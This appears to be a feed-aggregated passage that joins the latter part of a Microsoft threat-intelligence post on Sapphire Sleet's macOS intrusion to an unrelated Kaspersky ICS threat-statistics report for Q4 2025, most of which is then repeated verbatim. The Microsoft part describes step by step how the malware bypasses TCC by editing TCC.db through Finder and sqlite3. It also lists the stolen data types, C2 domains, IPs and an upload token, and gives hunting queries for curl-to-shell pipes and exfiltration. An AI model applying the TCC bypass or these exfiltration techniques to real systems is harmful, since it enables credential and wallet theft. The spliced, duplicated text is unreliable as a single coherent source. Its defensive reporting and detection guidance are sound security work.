The com.google.chromes.updaters backdoor is the final and largest component deployed in this attack chain, with a size of approximately 7.2 MB. Once running, it establishes outbound communication with threat actor‑controlled infrastructure, connecting to the domain check02id[.]com over port 5202. The process then enters a precise 60‑second beaconing loop. During each cycle, it executes minimal commands such as whoami to confirm the execution context and sw_vers -productVersion to report the operating system version. This lightweight heartbeat confirms the process remains active, is running with elevated privileges, and is ready to receive further instructions.

Privilege escalation

TCC bypass: Granting AppleEvents permissions

Before large‑scale data access and exfiltration can proceed, Sapphire Sleet must bypass macOS TCC protections. TCC enforces user consent for sensitive inter‑process interactions, including AppleEvents, the mechanism required for osascript to communicate with Finder and perform file-level operations. The mac-cur3 stage silently grants itself these permissions by directly manipulating the user-level TCC database through the following sequence.

The user-level TCC database (~/Library/Application Support/com.apple.TCC/TCC.db) is itself TCC-protected—processes without Full Disk Access (FDA) cannot read or modify it. Sapphire Sleet circumvents this by directing Finder, which holds FDA by default on macOS,  to rename the com.apple.TCC folder. Once renamed, the TCC database file can be copied to a staging location by a process without FDA.

Sapphire Sleet then uses sqlite3 to inject a new entry into the database’s access table. This entry grants /usr/bin/osascript permission to send AppleEvents to com.apple.finder and includes valid code-signing requirement (csreq) blobs for both binaries, binding the grant to Apple-signed executables. The authorization value is set to allowed (auth_value=2) with a user-set reason (auth_reason=3), ensuring no user prompt is triggered. The modified database is then copied back into the renamed folder, and Finder restores the folder to its original name. Staging files are deleted to reduce forensic traces.

Collection and exfiltration

With TCC bypassed, credentials stolen, and backdoors deployed, Sapphire Sleet launches the next phase of attack: a 575-line AppleScript payload that systematically collects, stages, compresses, and exfiltrates seven categories of data.

Exfiltration architecture

Every upload follows a consistent pattern and is executed using nohup, which allows the command to continue running in the background even if the initiating process or Terminal session exits. This ensures that data exfiltration can complete reliably without requiring the threat actor to maintain an active session on the system.

The auth header provides the upload authorization token, and the mid header ties the upload to the compromised device’s UUID.

Data collected during exfiltration

• Host and system reconnaissance: Before bulk data collection begins, the script records basic system identity and hardware information. This includes the current username, system host name, macOS version, and CPU model. These values are appended to a per‑host log file and provide Sapphire Sleet with environmental context, hardware fingerprinting, and confirmation of the target system’s characteristics. This reconnaissance data is later uploaded to track progress and correlate subsequent exfiltration stages to a specific device.
• Installed applications and runtime verification: The script enumerates installed applications and shared directories to build an inventory of the system’s software environment. It also captures a live process listing filtered for threat actor‑deployed components, allowing Sapphire Sleet to verify that earlier payloads are still running as expected. These checks help confirm successful execution and persistence before proceeding further.
• Messaging session data (Telegram): Telegram Desktop session data is collected by copying the application’s data directories, including cryptographic key material and session mapping files. These artifacts are sufficient to recreate the user’s Telegram session on another system without requiring reauthentication. A second collection pass targets the Telegram App Group container to capture the complete local data set associated with the application.
• Browser data and extension storage: For Chromium‑based browsers, including Chrome, Brave, and Arc, the script copies browser profiles and associated databases. This includes saved credentials, cookies, autofill data, browsing history, bookmarks, and extension‑specific storage. Particular focus is placed on IndexedDB entries associated with cryptocurrency wallet extensions, where wallet keys and transaction data are stored. Only IndexedDB entries matching a targeted set of wallet extension identifiers are collected, reflecting a deliberate and selective approach.
• macOS keychain: The user’s sign-in keychain database is bundled alongside browser data. Although the keychain is encrypted, Sapphire Sleet has already captured the user’s password earlier in the attack chain, enabling offline decryption of stored secrets once exfiltrated.
• Cryptocurrency desktop wallets: The script copies the full application support directories for popular cryptocurrency desktop wallets, including Ledger Live and Exodus. These directories contain wallet configuration files and key material required to access stored cryptocurrency assets, making them high‑value targets for exfiltration.
• SSH keys and shell history: SSH key directories and shell history files are collected to enable potential lateral movement and intelligence gathering. SSH keys may provide access to additional systems, while shell history can reveal infrastructure details, previously accessed hosts, and operational habits of the targeted user.
• Apple Notes: The Apple Notes database is copied from its application container and staged for upload. Notes frequently contain sensitive information such as passwords, internal documentation, infrastructure details, or meeting notes, making them a valuable secondary data source.
• System logs and failed access attempts: System log files are uploaded directly without compression. These logs provide additional hardware and execution context and include progress markers that indicate which exfiltration stages have completed. Failed collection attempts—such as access to password manager containers that are not present on the system—are also recorded and uploaded, allowing Sapphire Sleet to understand which targets were unavailable on the compromised host.

Exfiltration summary

All uploads use the upload authorization token fwyan48umt1vimwqcqvhdd9u72a7qysi and the machine identifier 82cf5d92-87b5-4144-9a4e-6b58b714d599.

Defending against Sapphire Sleet intrusion activity

As part of a coordinated response to this activity, Apple has implemented platform-level protections to help detect and block infrastructure and malware associated with this campaign. Apple has deployed Apple Safe Browsing protections in Safari to detect and block malicious infrastructure associated with this campaign. Users browsing with Safari benefit from these protections by default. Apple has also deployed XProtect signatures to detect and block the malware families associated with this campaign—macOS devices receive these signature updates automatically.

Microsoft recommends the following mitigation steps to defend against this activity and reduce the impact of this threat:

• Educate users about social engineering threats originating from social media and external platforms, particularly unsolicited outreach requesting software downloads, virtual meeting tool installations, or execution of terminal commands. Users should never run scripts or commands shared through messages, calls, or chats without prior approval from their IT or security teams.
• Block or restrict the execution of .scpt (compiled AppleScript) files and unsigned Mach-O binaries downloaded from the internet. Where feasible, enforce policies that prevent osascript from executing scripts sourced from external locations.
• Always inspect and verify files downloaded from external sources, including compiled AppleScript (.scpt) files. These files can execute arbitrary shell commands via macOS Script Editor—a trusted first-party Apple application—making them an effective and stealthy initial access vector.
• Limit or audit the use of curl piped to interpreters (such as curl | osascript, curl | sh, curl | bash). Social engineering campaigns by Sapphire Sleet rely on cascading curl-to-interpreter chains to avoid writing payloads to disk. Organizations should monitor for and restrict piped execution patterns originating from non-standard user-agent strings.
• Exercise caution when copying and pasting sensitive data such as wallet addresses or credentials from the clipboard. Always verify that the pasted content matches the intended source to avoid falling victim to clipboard hijacking or data tampering attacks.
• Monitor for unauthorized modifications to the macOS TCC database. This campaign manipulates TCC.db to grant AppleEvents permissions to osascript without user consent—a prerequisite for the large-scale data exfiltration phase. Look for processes copying, modifying, or overwriting ~/Library/Application Support/com.apple.TCC/TCC.db.
• Audit LaunchDaemon and LaunchAgent installations. This campaign installs a persistent launch daemon (com.google.webkit.service.plist) that masquerades as a legitimate Google or Apple service. Monitor /Library/LaunchDaemons/ and ~/Library/LaunchAgents/ for unexpected plist files, particularly those with com.google.* or com.apple.* naming conventions not belonging to genuine vendor software.
• Protect cryptocurrency wallets and browser credential stores. This campaign targets nine specific crypto wallet extensions (Sui, Phantom, TronLink, Coinbase, OKX, Solflare, Rabby, Backpack) plus Bitwarden, and exfiltrates browser sign-in data, cookies, and keychain databases. Organizations handling digital assets should enforce hardware wallet policies and rotate browser-stored credentials regularly.
• Encourage users to use web browsers that support Microsoft Defender SmartScreen like Microsoft Edge—available on macOS and various platforms—which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that contain exploits and host malware.

Microsoft Defender for Endpoint customers can also apply the following mitigations to reduce the environmental attack surface and mitigate the impact of this threat and its payloads:

• Use Microsoft Defender for Endpoint on Mac, which detects, stops, and quarantines the malware discussed in this blog.
• Turn on cloud-delivered protection and automatic sample submission on Microsoft Defender Antivirus. These capabilities use artificial intelligence and machine learning to quickly identify and stop new and unknown threats.
• Enable potentially unwanted application (PUA) protection in block mode to automatically quarantine PUAs like adware. PUA blocking takes effect on endpoint clients after the next signature update or computer restart.
• Turn on network protection to block connections to malicious domains and IP addresses.

Microsoft Defender detection and hunting guidance

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

Microsoft Defender XDR threat analytics

• Actor Profile: Sapphire Sleet

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Hunting queries

Microsoft Defender XDR

Microsoft Defender XDR customers can run the following advanced hunting queries to find related activity in their networks:

Suspicious osascript execution with curl piping

Search for curl commands piping output directly to osascript, a core technique in this Sapphire Sleet campaign’s cascading payload delivery chain.

DeviceProcessEvents
 | where Timestamp > ago(30d)
 | where FileName == "osascript" or InitiatingProcessFileName == "osascript"
 | where ProcessCommandLine has "curl" and ProcessCommandLine has_any ("osascript", "| sh", "| bash")
 | project Timestamp, DeviceId, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessCommandLine, InitiatingProcessFileName

Suspicious curl activity with campaign user-agent strings

Search for curl commands using user-agent strings matching the Sapphire Sleet campaign tracking identifiers (mac-cur1 through mac-cur5, audio, beacon).

DeviceProcessEvents
 | where Timestamp > ago(30d)
 | where FileName == "curl" or ProcessCommandLine has "curl"
 | where ProcessCommandLine has_any ("mac-cur1", "mac-cur2", "mac-cur3", "mac-cur4", "mac-cur5", "-A audio", "-A beacon")
 | project Timestamp, DeviceId, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine

Detect connectivity with known C2 infrastructure

Search for network connections to the Sapphire Sleet C2 domains and IP addresses used in this campaign.

let c2_domains = dynamic(["uw04webzoom.us", "uw05webzoom.us", "uw03webzoom.us", "ur01webzoom.us", "uv01webzoom.us", "uv03webzoom.us", "uv04webzoom.us", "ux06webzoom.us", "check02id.com"]);
 let c2_ips = dynamic(["188.227.196.252", "83.136.208.246", "83.136.209.22", "83.136.208.48", "83.136.210.180", "104.145.210.107"]);
 DeviceNetworkEvents
 | where Timestamp > ago(30d)
 | where RemoteUrl has_any (c2_domains) or RemoteIP in (c2_ips)
 | project Timestamp, DeviceId, DeviceName, RemoteUrl, RemoteIP, RemotePort, InitiatingProcessFileName, InitiatingProcessCommandLine

TCC database manipulation detection

Search for processes that copy, modify, or overwrite the macOS TCC database, a key defense evasion technique used by this campaign to grant unauthorized AppleEvents permissions.

DeviceFileEvents
 | where Timestamp > ago(30d)
 | where FolderPath has "com.apple.TCC" and FileName == "TCC.db"
 | where ActionType in ("FileCreated", "FileModified", "FileRenamed")
 | project Timestamp, DeviceId, DeviceName, ActionType, FolderPath, InitiatingProcessFileName, InitiatingProcessCommandLine

Suspicious LaunchDaemon creation masquerading as legitimate services

Search for LaunchDaemon plist files created in /Library/LaunchDaemons that masquerade as Google or Apple services, matching the persistence technique used by the services/icloudz backdoor.

DeviceFileEvents
 | where Timestamp > ago(30d)
 | where FolderPath startswith "/Library/LaunchDaemons/"
 | where FileName startswith "com.google." or FileName startswith "com.apple."
 | where ActionType == "FileCreated"
 | project Timestamp, DeviceId, DeviceName, FileName, FolderPath, InitiatingProcessFileName, InitiatingProcessCommandLine, SHA256

Malicious binary execution from suspicious paths

Search for execution of binaries from paths commonly used by Sapphire Sleet, including hidden Library directories, /private/tmp/, and user-specific Application Support folders.

DeviceProcessEvents
 | where Timestamp > ago(30d)
 | where FolderPath has_any (
     "Library/Services/services",
     "Application Support/iCloud/icloudz",
     "Library/Google/com.google.chromes.updaters",
     "/private/tmp/SystemUpdate/",
     "/private/tmp/SoftwareUpdate/",
     "com.apple.cli"
 )
 | project Timestamp, DeviceId, DeviceName, FileName, FolderPath, ProcessCommandLine, AccountName, SHA256

Credential harvesting using dscl authentication check

Search for dscl -authonly commands used by the fake password dialog (systemupdate.app) to validate stolen credentials before exfiltration.

DeviceProcessEvents
 | where Timestamp > ago(30d)
 | where FileName == "dscl" or ProcessCommandLine has "dscl"
 | where ProcessCommandLine has "-authonly"
 | project Timestamp, DeviceId, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine

Telegram Bot API exfiltration detection

Search for network connections to Telegram Bot API endpoints, used by this campaign to exfiltrate stolen credentials.

DeviceNetworkEvents
 | where Timestamp > ago(30d)
 | where RemoteUrl has "api.telegram.org" and RemoteUrl has "/bot"
 | project Timestamp, DeviceId, DeviceName, RemoteUrl, RemoteIP, RemotePort, InitiatingProcessFileName, InitiatingProcessCommandLine

Reflective code loading using NSCreateObjectFileImageFromMemory

Search for evidence of reflective Mach-O loading, the technique used by the icloudz backdoor to execute code in memory.

DeviceEvents
 | where Timestamp > ago(30d)
 | where ActionType has "NSCreateObjectFileImageFromMemory"
     or AdditionalFields has "NSCreateObjectFileImageFromMemory"
 | project Timestamp, DeviceId, DeviceName, ActionType, FileName, FolderPath, InitiatingProcessFileName, AdditionalFields

Suspicious caffeinate and sleep prevention activity

Search for caffeinate process stop-and-restart patterns used by the services and icloudz backdoors to prevent the system from sleeping during backdoor operations.

DeviceProcessEvents
 | where Timestamp > ago(30d)
 | where ProcessCommandLine has "caffeinate"
 | where InitiatingProcessCommandLine has_any ("icloudz", "services", "chromes.updaters", "zsh -i")
 | project Timestamp, DeviceId, DeviceName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine

Detect known malicious file hashes

Search for the specific malicious file hashes associated with this Sapphire Sleet campaign across file events.

let malicious_hashes = dynamic([
     "2075fd1a1362d188290910a8c55cf30c11ed5955c04af410c481410f538da419",
     "05e1761b535537287e7b72d103a29c4453742725600f59a34a4831eafc0b8e53",
     "5fbbca2d72840feb86b6ef8a1abb4fe2f225d84228a714391673be2719c73ac7",
     "5e581f22f56883ee13358f73fabab00fcf9313a053210eb12ac18e66098346e5",
     "95e893e7cdde19d7d16ff5a5074d0b369abd31c1a30962656133caa8153e8d63",
     "8fd5b8db10458ace7e4ed335eb0c66527e1928ad87a3c688595804f72b205e8c",
     "a05400000843fbad6b28d2b76fc201c3d415a72d88d8dc548fafd8bae073c640"
 ]);
 DeviceFileEvents
 | where Timestamp > ago(30d)
 | where SHA256 in (malicious_hashes)
 | project Timestamp, DeviceId, DeviceName, FileName, FolderPath, SHA256, ActionType, InitiatingProcessFileName, InitiatingProcessCommandLine

Data staging and exfiltration activity

Search for ZIP archive creation in /tmp/ directories followed by curl uploads matching the staging-and-exfiltration pattern used for browser data, crypto wallets, Telegram sessions, SSH keys, and Apple Notes.

DeviceProcessEvents
 | where Timestamp > ago(30d)
 | where (ProcessCommandLine has "zip" and ProcessCommandLine has "/tmp/")
     or (ProcessCommandLine has "curl" and ProcessCommandLine has_any ("tapp_", "ext_", "ldg_", "exds_", "hs_", "nt_", "lg_"))
 | project Timestamp, DeviceId, DeviceName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine

Script Editor launching suspicious child processes

Search for Script Editor (the default handler for .scpt files) spawning curl, osascript, or shell commands—the initial execution vector in this campaign.

DeviceProcessEvents
 | where Timestamp > ago(30d)
 | where InitiatingProcessFileName == "Script Editor" or InitiatingProcessCommandLine has "Script Editor"
 | where FileName has_any ("curl", "osascript", "sh", "bash", "zsh")
 | project Timestamp, DeviceId, DeviceName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine

Microsoft Sentinel

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious domain indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace.

Detect network indicators of compromise

The following query checks for connections to the Sapphire Sleet C2 domains and IP addresses across network session data:

let lookback = 30d;
 let ioc_domains = dynamic(["uw04webzoom.us", "uw05webzoom.us", "uw03webzoom.us", "ur01webzoom.us", "uv01webzoom.us", "uv03webzoom.us", "uv04webzoom.us", "ux06webzoom.us", "check02id.com"]);
 let ioc_ips = dynamic(["188.227.196.252", "83.136.208.246", "83.136.209.22", "83.136.208.48", "83.136.210.180", "104.145.210.107"]);
 DeviceNetworkEvents
 | where TimeGenerated > ago(lookback)
 | where RemoteUrl has_any (ioc_domains) or RemoteIP in (ioc_ips)
 | summarize EventCount=count() by DeviceName, RemoteUrl, RemoteIP, RemotePort, InitiatingProcessFileName

Detect file hash indicators of compromise

The following query searches for the known malicious file hashes associated with this campaign across file, process, and security event data:

let selectedTimestamp = datetime(2026-01-01T00:00:00.0000000Z);
 let FileSHA256 = dynamic([
     "2075fd1a1362d188290910a8c55cf30c11ed5955c04af410c481410f538da419",
     "05e1761b535537287e7b72d103a29c4453742725600f59a34a4831eafc0b8e53",
     "5fbbca2d72840feb86b6ef8a1abb4fe2f225d84228a714391673be2719c73ac7",
     "5e581f22f56883ee13358f73fabab00fcf9313a053210eb12ac18e66098346e5",
     "95e893e7cdde19d7d16ff5a5074d0b369abd31c1a30962656133caa8153e8d63",
     "8fd5b8db10458ace7e4ed335eb0c66527e1928ad87a3c688595804f72b205e8c",
     "a05400000843fbad6b28d2b76fc201c3d415a72d88d8dc548fafd8bae073c640"
 ]);
 search in (AlertEvidence, DeviceEvents, DeviceFileEvents, DeviceImageLoadEvents, DeviceProcessEvents, DeviceNetworkEvents, SecurityEvent, ThreatIntelligenceIndicator)
 TimeGenerated between ((selectedTimestamp - 1m) .. (selectedTimestamp + 90d))
 and (SHA256 in (FileSHA256) or InitiatingProcessSHA256 in (FileSHA256))

Detect Microsoft Defender Antivirus detections related to Sapphire Sleet

The following query searches for Defender Antivirus alerts for the specific malware families used in this campaign and joins with device information for enriched context:

let SapphireSleet_threats = dynamic([
     "Trojan:MacOS/NukeSped.D",
     "Trojan:MacOS/PassStealer.D",
     "Trojan:MacOS/SuspMalScript.C",
     "Trojan:MacOS/SuspInfostealExec.C"
 ]);
 SecurityAlert
 | where ProviderName == "MDATP"
 | extend ThreatName = tostring(parse_json(ExtendedProperties).ThreatName)
 | extend ThreatFamilyName = tostring(parse_json(ExtendedProperties).ThreatFamilyName)
 | where ThreatName in~ (SapphireSleet_threats) or ThreatFamilyName in~ (SapphireSleet_threats)
 | extend CompromisedEntity = tolower(CompromisedEntity)
 | join kind=inner (
     DeviceInfo
     | extend DeviceName = tolower(DeviceName)
 ) on $left.CompromisedEntity == $right.DeviceName
 | summarize arg_max(TimeGenerated, *) by DisplayName, ThreatName, ThreatFamilyName, PublicIP, AlertSeverity, Description, tostring(LoggedOnUsers), DeviceId, TenantId, CompromisedEntity, ProductName, Entities
 | extend HostName = tostring(split(CompromisedEntity, ".")[0]), DomainIndex = toint(indexof(CompromisedEntity, '.'))
 | extend HostNameDomain = iff(DomainIndex != -1, substring(CompromisedEntity, DomainIndex + 1), CompromisedEntity)
 | project-away DomainIndex
 | project TimeGenerated, DisplayName, ThreatName, ThreatFamilyName, PublicIP, AlertSeverity, Description, LoggedOnUsers, DeviceId, TenantId, CompromisedEntity, ProductName, Entities, HostName, HostNameDomain

Indicators of compromise

Malicious file hashes

Domains and IP addresses

Acknowledgments

Existing blogs with similar behavior tracked:

• https://cloud.google.com/blog/topics/threat-intelligence/unc1069-targets-cryptocurrency-ai-social-engineering
• https://www.huntress.com/blog/inside-bluenoroff-web3-intrusion-analysis
• https://securelist.com/bluenoroff-apt-campaigns-ghostcall-and-ghosthie/117842/
• https://x.com/malwrhunterteam/status/2008831892616081508
• https://x.com/patrickwardle/status/2009008936771543341?s=46

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post Dissecting Sapphire Sleet’s macOS intrusion from lure to compromise appeared first on Microsoft Security Blog.

Statistics across all threats

The percentage of ICS computers on which malicious objects were blocked has been decreasing since the beginning of 2024. In Q4 2025, it was 19.7%. Over the past three years, the percentage has decreased by 1.36 times, and by 1.25 times since Q4 2023.

Percentage of ICS computers on which malicious objects were blocked, Q1 2023–Q4 2025

Regionally, in Q4 2025, the percentage of ICS computers on which malicious objects were blocked ranged from 8.5% in Northern Europe to 27.3% in Africa.

Regions ranked by percentage of ICS computers on which malicious objects were blocked

Four regions saw an increase in the percentage of ICS computers on which malicious objects were blocked. The most notable increases occurred in Southern Europe and South Asia. In Q3 2025, East Asia experienced a sharp increase triggered by the local spread of malicious scripts, but the figure has since returned to normal.

Changes in percentage of ICS computers on which malicious objects were blocked, Q4 2025

Feature of the quarter: worms in email

In Q4 2025, the percentage of ICS computers on which wormsinemailattachments were blocked increasedinallregions of the world.

Many of the blocked threats were related to the worm Backdoor.MSIL.XWorm. This malware is designed to persist on the system and then remotely control it.

Interestingly, this threat was not detected on ICS computers in the previous quarter, yet it appeared in all regions in Q4 2025.

A study found that the active spread of Backdoor.MSIL.XWorm via phishing emails was likely linked to the use by hackers of another malware obfuscation technique that was actively used during massive phishing campaigns in Q4 2025. These campaigns have been known since 2024 as “Curriculum-vitae-catalina”.

The attackers distributed phishing emails to HR managers, recruiters, and employees responsible for hiring. The messages were disguised as responses from job applicants with subjects such as “Resume” or “Attached Resume” and contained a malicious executable file under the guise of a curriculum vitae. Typically, the file was named Curriculum Vitae-Catalina.exe. When executed, it infected the system.

In Q4 2025, the threat spread across regions in two waves — one in October and another in November. Russia, Western Europe, South America, and North America (Canada) were attacked in October. A spike in Backdoor.MSIL.XWorm blocking was observed in other regions in November. The attack subsided in all regions in December.

The highest percentage of ICS computers on which Backdoor.MSIL.XWorm was blocked was observed in regions where threats from email clients had been historically blocked at high rates on ICS computers: Southern Europe, South America, and the Middle East.

At the same time, in Africa, where USB storage media are still actively used, the threat was also detected when removable devices were connected to ICS computers.

Selected industries

The biometrics sector has historically led the rankings of industries and OT infrastructures surveyed in this report in terms of the percentage of ICS computers on which malicious objects were blocked.

These systems are characterized by accessibility to and from the internet, as well as minimal cybersecurity controls by the consumer organization.

Rankings of industries and OT infrastructure by percentage of ICS computers on which malicious objects were blocked

In Q4 2025, the percentage of ICS computers on which malicious objects were blocked increased only in one sector: oil and gas. The corresponding figures increased in two regions: Russia, and Central Asia and the South Caucasus.

However, if we look at a broader time span, there is a downward trend in all the surveyed industries.

Percentage of ICS computers on which malicious objects were blocked in selected industries

Diversity of detected malicious objects

In Q4 2025, Kaspersky protection solutions blocked malware from 10,142 different malware families of various categories on industrial automation systems.

Percentage of ICS computers on which the activity of malicious objects from various categories was blocked

In Q4 2025, there was an increase in the percentage of ICS computers on which worms, and miners in the form of executable files for Windows were blocked. These were the only categories that exhibited an increase.

Main threat sources

Depending on the threat detection and blocking scenario, it is not always possible to reliably identify the source. The circumstantial evidence for a specific source can be the blocked threat’s type (category).

The internet (visiting malicious or compromised internet resources; malicious content distributed via messengers; cloud data storage and processing services and CDNs), email clients (phishing emails), and removable storage devices remain the primary sources of threats to computers in an organization’s technology infrastructure.

In Q4 2025, the percentage of ICS computers on which malicious objects from various sources were blocked decreased. All sources except email clients saw their lowest levels in three years.

Percentage of ICS computers on which malicious objects from various sources were blocked

The same computer can be attacked by several categories of malware from the same source during a quarter. That computer is counted when calculating the percentage of attacked computers for each threat category, but is only counted once for the threat source (we count unique attacked computers). In addition, it is not always possible to accurately determine the initial infection attempt. Therefore, the total percentage of ICS computers on which various categories of threats from a certain source were blocked can exceed the percentage of computers affected by the source itself.

• In Q4 2025, the percentage of ICS computers on which threats from the internet were blocked decreased to 7.67% and reached its lowest level since the beginning of 2023. The main categories of internet threats are malicious scripts and phishing pages, and denylisted internet resources. The percentage ranged from 3.96% in Northern Europe to 11.33% in South Asia.
• The main categories of threats from email clients blocked on ICS computers were malicious scripts and phishing pages, spyware, and malicious documents. Most of the spyware detected in phishing emails was delivered as a password archive or a multi-layered script embedded in office document files. The percentage of ICS computers on which threats from email clients were blocked ranged from 0.64% in Northern Europe to 6.34% in Southern Europe.
• The main categories of threats that were blocked when removable media was connected to ICS computers were worms, viruses, and spyware. The percentage of ICS computers on which threats from removable media were blocked ranged from 0.05% in Australia and New Zealand to 1.41% in Africa.
• The main categories of threats that spread through network folders in Q4 2025 were viruses, AutoCAD malware, worms, and spyware. The percentage of ICS computers on which threats from network folders were blocked ranged from 0.01% in Northern Europe to 0.18% in East Asia.

Threat categories

Typical attacks blocked within an OT network are multi-step sequences of malicious activities, where each subsequent step of the attackers is aimed at increasing privileges and/or gaining access to other systems by exploiting the security problems of industrial enterprises, including OT infrastructures.

Malicious objects used for initial infection

In Q4 2025, the percentage of ICS computers on which denylisted internet resources were blocked decreased to 3.26%. This is the lowest quarterly figure since the beginning of 2022, and it has decreased by 1.8 times since Q2 2025.

Percentage of ICS computers on which denylisted internet resources were blocked, Q1 2023–Q4 2025

Regionally, the percentage of ICS computers on which denylisted internet resources were blocked ranged from 1.74% in Northern Europe to 3.93% in Southeast Asia, which displaced Africa from first place. Russia rounded out the top three regions for this indicator.

The percentage of ICS computers on which malicious documents were blocked increased for three consecutive quarters. However, in Q4 2025 it decreased by 0.22 pp to 1.76%.

Percentage of ICS computers on which malicious documents were blocked, Q1 2023–Q4 2025

Regionally, the percentage ranged from 0.46% in Northern Europe to 3.82% in Southern Europe. In Q4 2025, the indicator increased in Eastern Europe, Russia, and Western Europe.

The percentage of ICS computers on which malicious scripts and phishing pages were blocked decreased to 6.58%. Despite the decline, this category led the rankings of threat categories in terms of the percentage of ICS computers on which they were blocked.

Percentage of ICS computers on which malicious scripts and phishing pages were blocked, Q1 2023–Q4 2025

Regionally, the percentage ranged from 2.52% in Northern Europe to 10.50% in South Asia. The indicator increased in South Asia, South America, Southern Europe, and Africa. South Asia saw the most notable increase, at 3.47 pp.

Next-stage malware

Malicious objects used to initially infect computers deliver next-stage malware — spyware, ransomware, and miners — to victims’ computers. As a rule, the higher the percentage of ICS computers on which the initial infection malware is blocked, the higher the percentage for next-stage malware.

In Q4 2025, the percentage of ICS computers on which spyware, ransomware and web miners were blocked decreased. The rates were:

• Spyware: 3.80% (down 0.24 pp). For the second quarter in a row, spyware took second place in the rankings of threat categories in terms of the percentage of ICS computers on which it was blocked.
• Ransomware: 0.16% (down 0.01 pp).
• Web miners: 0.24% (down 0.01 pp), this is the lowest level observed thus far in the period under review.

The percentage of ICS computers on which miners in the form of executable files for Windows were blocked increased to 0.60% (up 0.03 pp).

Self-propagating malware

Self-propagating malware (worms and viruses) is a category unto itself. Worms and virus-infected files were originally used for initial infection, but as botnet functionality evolved, they took on next-stage characteristics.

To spread across ICS networks, viruses and worms rely on removable media and network folders and are distributed in the form of infected files, such as archives with backups, office documents, pirated games and hacked applications. In rarer and more dangerous cases, web pages with network equipment settings, as well as files stored in internal document management systems, product lifecycle management (PLM) systems, resource management (ERP) systems and other web services are infected.

In Q4 2025, the percentage of ICS computers on which worms were blocked increased by 1.6 times to 1.60%. As mentioned above, this increase is related to a global phishing attack that spread the Backdoor.MSIL.XWorm backdoor worm across all regions of the world. The percentage increased in all regions. The biggest increase (up by 2.16 times) was in Southern Europe. The malware was primary distributed through email clients, and Southern Europe led the way in terms of the percentage of ICS computers on which threats from email clients were blocked.

The percentage of ICS computers on which viruses were blocked decreased to 1.33%.

AutoCAD malware

This category of malware can spread in a variety of ways, so it does not belong to a specific group.

After an increase in the previous quarter, the percentage of ICS computers on which AutoCAD malware was blocked decreased to 0.29% in Q4 2025.

For more information on industrial threats see the full version of the report.

Statistics across all threats

The percentage of ICS computers on which malicious objects were blocked has been decreasing since the beginning of 2024. In Q4 2025, it was 19.7%. Over the past three years, the percentage has decreased by 1.36 times, and by 1.25 times since Q4 2023.

Percentage of ICS computers on which malicious objects were blocked, Q1 2023–Q4 2025

Regionally, in Q4 2025, the percentage of ICS computers on which malicious objects were blocked ranged from 8.5% in Northern Europe to 27.3% in Africa.

Regions ranked by percentage of ICS computers on which malicious objects were blocked

Four regions saw an increase in the percentage of ICS computers on which malicious objects were blocked. The most notable increases occurred in Southern Europe and South Asia. In Q3 2025, East Asia experienced a sharp increase triggered by the local spread of malicious scripts, but the figure has since returned to normal.

Changes in percentage of ICS computers on which malicious objects were blocked, Q4 2025

Feature of the quarter: worms in email

In Q4 2025, the percentage of ICS computers on which wormsinemailattachments were blocked increasedinallregions of the world.

Many of the blocked threats were related to the worm Backdoor.MSIL.XWorm. This malware is designed to persist on the system and then remotely control it.

Interestingly, this threat was not detected on ICS computers in the previous quarter, yet it appeared in all regions in Q4 2025.

A study found that the active spread of Backdoor.MSIL.XWorm via phishing emails was likely linked to the use by hackers of another malware obfuscation technique that was actively used during massive phishing campaigns in Q4 2025. These campaigns have been known since 2024 as “Curriculum-vitae-catalina”.

The attackers distributed phishing emails to HR managers, recruiters, and employees responsible for hiring. The messages were disguised as responses from job applicants with subjects such as “Resume” or “Attached Resume” and contained a malicious executable file under the guise of a curriculum vitae. Typically, the file was named Curriculum Vitae-Catalina.exe. When executed, it infected the system.

In Q4 2025, the threat spread across regions in two waves — one in October and another in November. Russia, Western Europe, South America, and North America (Canada) were attacked in October. A spike in Backdoor.MSIL.XWorm blocking was observed in other regions in November. The attack subsided in all regions in December.

The highest percentage of ICS computers on which Backdoor.MSIL.XWorm was blocked was observed in regions where threats from email clients had been historically blocked at high rates on ICS computers: Southern Europe, South America, and the Middle East.

At the same time, in Africa, where USB storage media are still actively used, the threat was also detected when removable devices were connected to ICS computers.

Selected industries

The biometrics sector has historically led the rankings of industries and OT infrastructures surveyed in this report in terms of the percentage of ICS computers on which malicious objects were blocked.

